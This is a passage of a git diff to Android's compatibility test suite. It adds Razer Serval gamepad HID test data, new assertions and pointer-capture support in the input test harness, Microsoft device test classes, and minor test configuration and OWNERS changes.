+ "source": "GAMEPAD | KEYBOARD",
+ "events": [
+ {"action": "DOWN", "keycode": "BUTTON_Y"},
+ {"action": "UP", "keycode": "BUTTON_Y"}
+ ]
+ },
+
+ {
+ "name": "Press BUTTON_L1",
+ "reports": [
+ [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x01, 0x00, 0x00, 0x00, 0xff],
+ [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0xff]
+ ],
+ "source": "GAMEPAD | KEYBOARD",
+ "events": [
+ {"action": "DOWN", "keycode": "BUTTON_L1"},
+ {"action": "UP", "keycode": "BUTTON_L1"}
+ ]
+ },
+
+ {
+ "name": "Press BUTTON_R1",
+ "reports": [
+ [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x02, 0x00, 0x00, 0x00, 0xff],
+ [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0xff]
+ ],
+ "source": "GAMEPAD | KEYBOARD",
+ "events": [
+ {"action": "DOWN", "keycode": "BUTTON_R1"},
+ {"action": "UP", "keycode": "BUTTON_R1"}
+ ]
+ },
+
+ {
+ "name": "Press BUTTON_THUMBL",
+ "reports": [
+ [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x10, 0x00, 0x00, 0x00, 0xff],
+ [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0xff]
+ ],
+ "source": "GAMEPAD | KEYBOARD",
+ "events": [
+ {"action": "DOWN", "keycode": "BUTTON_THUMBL"},
+ {"action": "UP", "keycode": "BUTTON_THUMBL"}
+ ]
+ },
+
+ {
+ "name": "Press BUTTON_THUMBR",
+ "reports": [
+ [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x20, 0x00, 0x00, 0x00, 0xff],
+ [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0xff]
+ ],
+ "source": "GAMEPAD | KEYBOARD",
+ "events": [
+ {"action": "DOWN", "keycode": "BUTTON_THUMBR"},
+ {"action": "UP", "keycode": "BUTTON_THUMBR"}
+ ]
+ },
+
+ {
+ "name": "Press arrow left button (the button left of 'power key')",
+ "reports": [
+ [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x01, 0x00, 0x00, 0xff],
+ [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0xff]
+ ],
+ "source": "GAMEPAD | KEYBOARD",
+ "events": [
+ {"action": "DOWN", "keycode": "BUTTON_SELECT"},
+ {"action": "UP", "keycode": "BUTTON_SELECT"}
+ ]
+ },
+
+ {
+ "name": "Press 'power key'",
+ "reports": [
+ [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x40, 0x00, 0x00, 0x00, 0xff],
+ [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0xff]
+ ],
+ "source": "GAMEPAD | KEYBOARD",
+ "events": [
+ {"action": "DOWN", "keycode": "BUTTON_MODE"},
+ {"action": "UP", "keycode": "BUTTON_MODE"}
+ ]
+ },
+
+ {
+ "name": "Press arrow right button (the button right of 'power key')",
+ "reports": [
+ [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x08, 0x00, 0x00, 0x00, 0xff],
+ [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0xff]
+ ],
+ "source": "GAMEPAD | KEYBOARD",
+ "events": [
+ {"action": "DOWN", "keycode": "BUTTON_START"},
+ {"action": "UP", "keycode": "BUTTON_START"}
+ ]
+ },
+
+ {
+ "name": "Press BACK button (left arrow at the bottom of the controller)",
+ "reports": [
+ [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x04, 0x00, 0x00, 0x00, 0xff],
+ [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0xff]
+ ],
+ "source": "GAMEPAD | KEYBOARD",
+ "events": [
+ {"action": "DOWN", "keycode": "BACK"},
+ {"action": "UP", "keycode": "BACK"}
+ ]
+ }
+]
\ No newline at end of file
diff --git a/tests/tests/hardware/res/raw/razer_serval_motioneventtests.json b/tests/tests/hardware/res/raw/razer_serval_motioneventtests.json
new file mode 100644
index 0000000..868277c
--- /dev/null
+++ b/tests/tests/hardware/res/raw/razer_serval_motioneventtests.json
@@ -0,0 +1,193 @@
+[
+ {
+ "name": "Sanity check - should not produce any events",
+ "reports": [
+ [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0xff]
+ ],
+ "events": []
+ },
+
+ {
+ "name": "Press left DPAD key",
+ "reports": [
+ [0x01, 0x80, 0x80, 0x80, 0x80, 0x06, 0x00, 0x00, 0x00, 0x00, 0xff],
+ [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0xff]
+ ],
+ "source": "JOYSTICK",
+ "events": [
+ {"action": "MOVE", "axes": {"AXIS_HAT_X": -1}},
+ {"action": "MOVE", "axes": {"AXIS_HAT_X": 0}}
+ ]
+ },
+
+ {
+ "name": "Press right DPAD key",
+ "reports": [
+ [0x01, 0x80, 0x80, 0x80, 0x80, 0x02, 0x00, 0x00, 0x00, 0x00, 0xff],
+ [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0xff]
+ ],
+ "source": "JOYSTICK",
+ "events": [
+ {"action": "MOVE", "axes": {"AXIS_HAT_X": 1}},
+ {"action": "MOVE", "axes": {"AXIS_HAT_X": 0}}
+ ]
+ },
+
+ {
+ "name": "Press up DPAD key",
+ "reports": [
+ [0x01, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff],
+ [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0xff]
+ ],
+ "source": "JOYSTICK",
+ "events": [
+ {"action": "MOVE", "axes": {"AXIS_HAT_Y": -1}},
+ {"action": "MOVE", "axes": {"AXIS_HAT_Y": 0}}
+ ]
+ },
+
+ {
+ "name": "Press down DPAD key",
+ "reports": [
+ [0x01, 0x80, 0x80, 0x80, 0x80, 0x04, 0x00, 0x00, 0x00, 0x00, 0xff],
+ [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0xff]
+ ],
+ "source": "JOYSTICK",
+ "events": [
+ {"action": "MOVE", "axes": {"AXIS_HAT_Y": 1}},
+ {"action": "MOVE", "axes": {"AXIS_HAT_Y": 0}}
+ ]
+ },
+
+ {
+ "name": "Left stick - press left",
+ "reports": [
+ [0x01, 0x00, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0xff],
+ [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0xff]
+ ],
+ "source": "JOYSTICK",
+ "events": [
+ {"action": "MOVE", "axes": {"AXIS_X": -1}},
+ {"action": "MOVE", "axes": {"AXIS_X": 0}}
+ ]
+ },
+
+ {
+ "name": "Left stick - press right",
+ "reports": [
+ [0x01, 0xff, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0xff],
+ [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0xff]
+ ],
+ "source": "JOYSTICK",
+ "events": [
+ {"action": "MOVE", "axes": {"AXIS_X": 1}},
+ {"action": "MOVE", "axes": {"AXIS_X": 0}}
+ ]
+ },
+
+ {
+ "name": "Left stick - press up",
+ "reports": [
+ [0x01, 0x80, 0x00, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0xff],
+ [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0xff]
+ ],
+ "source": "JOYSTICK",
+ "events": [
+ {"action": "MOVE", "axes": {"AXIS_Y": -1}},
+ {"action": "MOVE", "axes": {"AXIS_Y": 0}}
+ ]
+ },
+
+ {
+ "name": "Left stick - press down",
+ "reports": [
+ [0x01, 0x80, 0xff, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0xff],
+ [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0xff]
+ ],
+ "source": "JOYSTICK",
+ "events": [
+ {"action": "MOVE", "axes": {"AXIS_X": 0, "AXIS_Y": 1, "AXIS_Z": 0}},
+ {"action": "MOVE", "axes": {"AXIS_X": 0, "AXIS_Y": 0, "AXIS_Z": 0}}
+ ]
+ },
+
+ {
+ "name": "Right stick - press left",
+ "reports": [
+ [0x01, 0x80, 0x80, 0x00, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0xff],
+ [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0xff]
+ ],
+ "source": "JOYSTICK",
+ "events": [
+ {"action": "MOVE", "axes": {"AXIS_Z": -1}},
+ {"action": "MOVE", "axes": {"AXIS_Z": 0}}
+ ]
+ },
+
+ {
+ "name": "Right stick - press right",
+ "reports": [
+ [0x01, 0x80, 0x80, 0xff, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0xff],
+ [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0xff]
+ ],
+ "source": "JOYSTICK",
+ "events": [
+ {"action": "MOVE", "axes": {"AXIS_Z": 1}},
+ {"action": "MOVE", "axes": {"AXIS_Z": 0}}
+ ]
+ },
+
+ {
+ "name": "Right stick - press up",
+ "reports": [
+ [0x01, 0x80, 0x80, 0x80, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0xff],
+ [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0xff]
+ ],
+ "source": "JOYSTICK",
+ "events": [
+ {"action": "MOVE", "axes": {"AXIS_RZ": -1}},
+ {"action": "MOVE", "axes": {"AXIS_RZ": 0}}
+ ]
+ },
+
+ {
+ "name": "Right stick - press down",
+ "reports": [
+ [0x01, 0x80, 0x80, 0x80, 0xff, 0x08, 0x00, 0x00, 0x00, 0x00, 0xff],
+ [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0xff]
+ ],
+ "source": "JOYSTICK",
+ "events": [
+ {"action": "MOVE", "axes": {"AXIS_RZ": 1}},
+ {"action": "MOVE", "axes": {"AXIS_RZ": 0}}
+ ]
+ },
+
+ {
+ "name": "Left trigger - quick press",
+ "reports": [
+ [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0xff, 0x00, 0xff],
+ [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0xff]
+ ],
+ "source": "JOYSTICK",
+ "events": [
+ {"action": "MOVE", "axes": {"AXIS_LTRIGGER": 1.0, "AXIS_BRAKE": 1.0}},
+ {"action": "MOVE", "axes": {"AXIS_LTRIGGER": 0, "AXIS_BRAKE": 0}}
+ ]
+ },
+
+ {
+ "name": "Right trigger - quick press",
+ "reports": [
+ [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0xff, 0xff],
+ [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0xff]
+ ],
+ "source": "JOYSTICK",
+ "events": [
+ {"action": "MOVE", "axes": {"AXIS_RTRIGGER": 1.0, "AXIS_GAS": 1.0}},
+ {"action": "MOVE", "axes": {"AXIS_RTRIGGER": 0, "AXIS_GAS": 0}}
+ ]
+ }
+
+
+]
\ No newline at end of file
diff --git a/tests/tests/hardware/res/raw/razer_serval_register.json b/tests/tests/hardware/res/raw/razer_serval_register.json
new file mode 100644
index 0000000..3d8bb96
--- /dev/null
+++ b/tests/tests/hardware/res/raw/razer_serval_register.json
@@ -0,0 +1,24 @@
+{
+ "id": 1,
+ "command": "register",
+ "name": "Razer Serval (Test)",
+ "vid": 0x1532,
+ "pid": 0x0900,
+ "descriptor": [
+ 0x05, 0x01, 0x09, 0x05, 0xa1, 0x01, 0xa1, 0x02, 0x85, 0x01, 0x75, 0x08, 0x95, 0x04,
+ 0x15, 0x00, 0x26, 0xff, 0x00, 0x09, 0x30, 0x09, 0x31, 0x09, 0x32, 0x09, 0x35, 0x81,
+ 0x02, 0x75, 0x04, 0x95, 0x01, 0x15, 0x00, 0x25, 0x07, 0x09, 0x39, 0x81, 0x42, 0x75,
+ 0x01, 0x95, 0x01, 0x15, 0x00, 0x25, 0x01, 0x05, 0x09, 0x09, 0x01, 0x81, 0x02, 0x09,
+ 0x02, 0x81, 0x02, 0x09, 0x04, 0x81, 0x02, 0x09, 0x05, 0x81, 0x02, 0x09, 0x07, 0x81,
+ 0x02, 0x09, 0x08, 0x81, 0x02, 0x05, 0x0c, 0x0a, 0x24, 0x02, 0x81, 0x02, 0x05, 0x09,
+ 0x09, 0x0c, 0x81, 0x02, 0x09, 0x0e, 0x81, 0x02, 0x09, 0x0f, 0x81, 0x02, 0x09, 0x0d,
+ 0x81, 0x02, 0x05, 0x0c, 0x0a, 0x23, 0x02, 0x81, 0x02, 0x05, 0x09, 0x09, 0x0b, 0x81,
+ 0x02, 0x75, 0x07, 0x95, 0x01, 0x81, 0x03, 0x75, 0x08, 0x95, 0x02, 0x15, 0x00, 0x26,
+ 0xff, 0x00, 0x05, 0x02, 0x09, 0xc5, 0x09, 0xc4, 0x81, 0x02, 0x75, 0x08, 0x95, 0x01,
+ 0x15, 0x00, 0x26, 0xff, 0x00, 0x05, 0x06, 0x09, 0x20, 0x81, 0x02, 0xc0, 0x05, 0xff,
+ 0x09, 0x02, 0x15, 0x00, 0x25, 0xff, 0x75, 0x08, 0x95, 0x5a, 0xb1, 0x01, 0x05, 0x07,
+ 0x85, 0x02, 0x05, 0x08, 0x09, 0x01, 0x09, 0x02, 0x09, 0x03, 0x09, 0x04, 0x09, 0x4f,
+ 0x09, 0x50, 0x09, 0x51, 0x09, 0x52, 0x15, 0x00, 0x25, 0x01, 0x75, 0x01, 0x95, 0x08,
+ 0x91, 0x02, 0xc0
+ ]
+}
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/InputTestCase.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/InputTestCase.java
index 1f4d277..efa6f98 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/InputTestCase.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/InputTestCase.java
@@ -22,9 +22,11 @@
import android.app.Instrumentation;
import android.hardware.input.cts.InputCallback;
import android.hardware.input.cts.InputCtsActivity;
+import android.util.Log;
import android.view.InputEvent;
import android.view.KeyEvent;
import android.view.MotionEvent;
+import android.view.View;
import androidx.annotation.NonNull;
import androidx.test.platform.app.InstrumentationRegistry;
@@ -45,18 +47,23 @@
import java.util.concurrent.TimeUnit;
public abstract class InputTestCase {
+ private static final String TAG = "InputTestCase";
private static final float TOLERANCE = 0.005f;
private final BlockingQueue<InputEvent> mEvents;
private InputListener mInputListener;
private Instrumentation mInstrumentation;
+ private View mDecorView;
private HidDevice mHidDevice;
private HidJsonParser mParser;
// Stores the name of the currently running test
private String mCurrentTestCase;
private int mRegisterResourceId; // raw resource that contains json for registering a hid device
+ // State used for motion events
+ private int mLastButtonState;
+
InputTestCase(int registerResourceId) {
mEvents = new LinkedBlockingQueue<>();
mInputListener = new InputListener();
@@ -71,6 +78,7 @@
public void setUp() {
mInstrumentation = InstrumentationRegistry.getInstrumentation();
mActivityRule.getActivity().setInputCallback(mInputListener);
+ mDecorView = mActivityRule.getActivity().getWindow().getDecorView();
mParser = new HidJsonParser(mInstrumentation.getTargetContext());
int hidDeviceId = mParser.readDeviceId(mRegisterResourceId);
String registerCommand = mParser.readRegisterCommand(mRegisterResourceId);
@@ -84,23 +92,28 @@
}
/**
- * Asserts that the application received a {@link android.view.KeyEvent} with the given action
- * and keycode.
+ * Asserts that the application received a {@link android.view.KeyEvent} with the given
+ * metadata.
*
* If other KeyEvents are received by the application prior to the expected KeyEvent, or no
* KeyEvents are received within a reasonable amount of time, then this will throw an
- * AssertionFailedError.
+ * {@link AssertionError}.
*
- * Only action and keyCode are being compared.
+ * Only action, source, keyCode and metaState are being compared.
*/
private void assertReceivedKeyEvent(@NonNull KeyEvent expectedKeyEvent) {
KeyEvent receivedKeyEvent = waitForKey();
if (receivedKeyEvent == null) {
failWithMessage("Did not receive " + expectedKeyEvent);
}
- assertEquals(mCurrentTestCase, expectedKeyEvent.getAction(), receivedKeyEvent.getAction());
- assertEquals(mCurrentTestCase,
+ assertEquals(mCurrentTestCase + " (action)",
+ expectedKeyEvent.getAction(), receivedKeyEvent.getAction());
+ assertEquals(mCurrentTestCase + " (source)",
+ expectedKeyEvent.getSource(), receivedKeyEvent.getSource());
+ assertEquals(mCurrentTestCase + " (keycode)",
expectedKeyEvent.getKeyCode(), receivedKeyEvent.getKeyCode());
+ assertEquals(mCurrentTestCase + " (meta state)",
+ expectedKeyEvent.getMetaState(), receivedKeyEvent.getMetaState());
}
private void assertReceivedMotionEvent(@NonNull MotionEvent expectedEvent) {
@@ -120,7 +133,21 @@
if (event.getHistorySize() > 0) {
failWithMessage("expected each MotionEvent to only have a single entry");
}
- assertEquals(mCurrentTestCase, expectedEvent.getAction(), event.getAction());
+ assertEquals(mCurrentTestCase + " (action)",
+ expectedEvent.getAction(), event.getAction());
+ assertEquals(mCurrentTestCase + " (source)",
+ expectedEvent.getSource(), event.getSource());
+ assertEquals(mCurrentTestCase + " (button state)",
+ expectedEvent.getButtonState(), event.getButtonState());
+ if (event.getActionMasked() == MotionEvent.ACTION_BUTTON_PRESS
+ || event.getActionMasked() == MotionEvent.ACTION_BUTTON_RELEASE) {
+ // Only checking getActionButton() for ACTION_BUTTON_PRESS or ACTION_BUTTON_RELEASE
+ // because for actions other than ACTION_BUTTON_PRESS and ACTION_BUTTON_RELEASE the
+ // returned value of getActionButton() is undefined.
+ assertEquals(mCurrentTestCase + " (action button)",
+ mLastButtonState ^ event.getButtonState(), event.getActionButton());
+ mLastButtonState = event.getButtonState();
+ }
for (int axis = MotionEvent.AXIS_X; axis <= MotionEvent.AXIS_GENERIC_16; axis++) {
assertEquals(mCurrentTestCase + " (" + MotionEvent.axisToString(axis) + ")",
expectedEvent.getAxisValue(axis), event.getAxisValue(axis), TOLERANCE);
@@ -156,13 +183,19 @@
// Make sure we received the expected input events
for (int i = 0; i < testData.events.size(); i++) {
final InputEvent event = testData.events.get(i);
- if (event instanceof MotionEvent) {
- assertReceivedMotionEvent((MotionEvent) event);
- } else if (event instanceof KeyEvent) {
- assertReceivedKeyEvent((KeyEvent) event);
- } else {
- fail("Entry " + i + " is neither a KeyEvent nor a MotionEvent: " + event);
+ try {
+ if (event instanceof MotionEvent) {
+ assertReceivedMotionEvent((MotionEvent) event);
+ continue;
+ }
+ if (event instanceof KeyEvent) {
+ assertReceivedKeyEvent((KeyEvent) event);
+ continue;
+ }
+ } catch (AssertionError error) {
+ throw new AssertionError("Assertion on entry " + i + " failed.", error);
}
+ fail("Entry " + i + " is neither a KeyEvent nor a MotionEvent: " + event);
}
}
assertNoMoreEvents();
@@ -182,6 +215,9 @@
if (event instanceof KeyEvent) {
return (KeyEvent) event;
}
+ if (event instanceof MotionEvent) {
+ failWithMessage("Instead of a key event, received " + event);
+ }
return null;
}
@@ -190,6 +226,9 @@
if (event instanceof MotionEvent) {
return (MotionEvent) event;
}
+ if (event instanceof KeyEvent) {
+ failWithMessage("Instead of a motion event, received " + event);
+ }
return null;
}
@@ -235,6 +274,7 @@
event.getXPrecision(), event.getYPrecision(),
event.getDeviceId(), event.getEdgeFlags(),
event.getSource(), event.getFlags());
+ singleEvent.setActionButton(event.getActionButton());
events.add(singleEvent);
}
@@ -245,14 +285,24 @@
event.getXPrecision(), event.getYPrecision(),
event.getDeviceId(), event.getEdgeFlags(),
event.getSource(), event.getFlags());
+ singleEvent.setActionButton(event.getActionButton());
events.add(singleEvent);
return events;
}
/**
* Append the name of the currently executing test case to the fail message.
+ * Dump out the events queue to help debug.
*/
private void failWithMessage(String message) {
+ if (mEvents.isEmpty()) {
+ Log.i(TAG, "The events queue is empty");
+ } else {
+ Log.e(TAG, "There are additional events received by the test activity:");
+ for (InputEvent event : mEvents) {
+ Log.i(TAG, event.toString());
+ }
+ }
fail(mCurrentTestCase + ": " + message);
}
@@ -277,4 +327,23 @@
}
}
}
+
+ protected class PointerCaptureSession implements AutoCloseable {
+ protected PointerCaptureSession() {
+ requestPointerCaptureSync();
+ }
+
+ @Override
+ public void close() {
+ releasePointerCaptureSync();
+ }
+
+ private void requestPointerCaptureSync() {
+ mInstrumentation.runOnMainSync(mDecorView::requestPointerCapture);
+ }
+
+ private void releasePointerCaptureSync() {
+ mInstrumentation.runOnMainSync(mDecorView::releasePointerCapture);
+ }
+ }
}
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/MicrosoftDesignerKeyboardTest.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/MicrosoftDesignerKeyboardTest.java
new file mode 100644
index 0000000..4092320
--- /dev/null
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/MicrosoftDesignerKeyboardTest.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.input.cts.tests;
+
+import android.hardware.cts.R;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class MicrosoftDesignerKeyboardTest extends InputTestCase {
+
+ public MicrosoftDesignerKeyboardTest() {
+ super(R.raw.microsoft_designer_keyboard_register);
+ }
+
+ @Test
+ public void testAllKeys() {
+ testInputEvents(R.raw.microsoft_designer_keyboard_keyeventtests);
+ }
+}
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/MicrosoftSculpttouchTest.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/MicrosoftSculpttouchTest.java
new file mode 100644
index 0000000..50ac183
--- /dev/null
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/MicrosoftSculpttouchTest.java
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.input.cts.tests;
+
+import android.hardware.cts.R;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class MicrosoftSculpttouchTest extends InputTestCase {
+
+ public MicrosoftSculpttouchTest() {
+ super(R.raw.microsoft_sculpttouch_register);
+ }
+
+ /**
+ * NOTE: We added a test sample on the move behavior which assumes certain parameters passed to
+ * some components in input stack. In particular, in CursorInputMapper we use VelocityControl to
+ * accelerate mouse cursor move. VelocityControl and VelocityTracker have several parameters
+ * that can be configured via either changing code or setting default velocity estimation
+ * strategy. OEMs who changed those values may fail this test.
+ */
+ @Test
+ public void testAllMotions() {
+ try (PointerCaptureSession session = new PointerCaptureSession()) {
+ testInputEvents(R.raw.microsoft_sculpttouch_motioneventtests);
+ }
+ }
+}
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/RazerServalTest.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/RazerServalTest.java
new file mode 100644
index 0000000..2122085
--- /dev/null
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/RazerServalTest.java
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.input.cts.tests;
+
+import android.hardware.cts.R;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.MediumTest;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class RazerServalTest extends InputTestCase {
+ public RazerServalTest() {
+ super(R.raw.razer_serval_register);
+ }
+
+ /**
+ * Test all keys except the home key.
+ */
+ @Test
+ public void testAllKeys() {
+ testInputEvents(R.raw.razer_serval_keyeventtests);
+ }
+
+ @Test
+ public void testAllMotions() {
+ testInputEvents(R.raw.razer_serval_motioneventtests);
+ }
+}
diff --git a/tests/tests/icu/AndroidTest.xml b/tests/tests/icu/AndroidTest.xml
index 51ae4fa..9e1729a 100644
--- a/tests/tests/icu/AndroidTest.xml
+++ b/tests/tests/icu/AndroidTest.xml
@@ -20,6 +20,7 @@
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<!-- Enable multi-lib since ICU4J is backed by native codes in libcore and ICU4C. -->
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsIcuTestCases.apk" />
diff --git a/tests/tests/jni/OWNERS b/tests/tests/jni/OWNERS
new file mode 100644
index 0000000..29fea99
--- /dev/null
+++ b/tests/tests/jni/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 86431
+include /hostsidetests/classloaders/OWNERS
diff --git a/tests/tests/keystore/OWNERS b/tests/tests/keystore/OWNERS
new file mode 100644
index 0000000..30685c8
--- /dev/null
+++ b/tests/tests/keystore/OWNERS
@@ -0,0 +1,4 @@
+# Bug component: 36824
+swillden@google.com
+jdanis@google.com
+jbires@google.com
diff --git a/tests/tests/keystore/src/android/server/am/ActivityManagerState.java b/tests/tests/keystore/src/android/server/am/ActivityManagerState.java
index debe8fc..b56d745 100644
--- a/tests/tests/keystore/src/android/server/am/ActivityManagerState.java
+++ b/tests/tests/keystore/src/android/server/am/ActivityManagerState.java
@@ -341,7 +341,7 @@
int procId = -1;
Activity(ActivityRecordProto proto) {
- super(proto.configurationContainer);
+ super(proto.appWindowToken.windowToken.windowContainer.configurationContainer);
name = proto.identifier.title;
state = proto.state;
visible = proto.visible;
diff --git a/tests/tests/libcoreapievolution/AndroidTest.xml b/tests/tests/libcoreapievolution/AndroidTest.xml
index 5f8d6e9..bfa6cdf 100644
--- a/tests/tests/libcoreapievolution/AndroidTest.xml
+++ b/tests/tests/libcoreapievolution/AndroidTest.xml
@@ -17,6 +17,9 @@
<option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="libcore" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <!-- Test is eligible to run on Android Multiuser users other than SYSTEM.
+ See source.android.com/devices/tech/admin/multi-user#user_types -->
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/tests/libcorelegacy22/AndroidTest.xml b/tests/tests/libcorelegacy22/AndroidTest.xml
index f496e9e..33e08c0 100644
--- a/tests/tests/libcorelegacy22/AndroidTest.xml
+++ b/tests/tests/libcorelegacy22/AndroidTest.xml
@@ -17,6 +17,9 @@
<option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="libcore" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <!-- Test is eligible to run on Android Multiuser users other than SYSTEM.
+ See source.android.com/devices/tech/admin/multi-user#user_types -->
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/tests/location/Android.bp b/tests/tests/location/Android.bp
deleted file mode 100644
index a960b1e..0000000
--- a/tests/tests/location/Android.bp
+++ /dev/null
@@ -1,65 +0,0 @@
-// Copyright (C) 2008 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-// http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
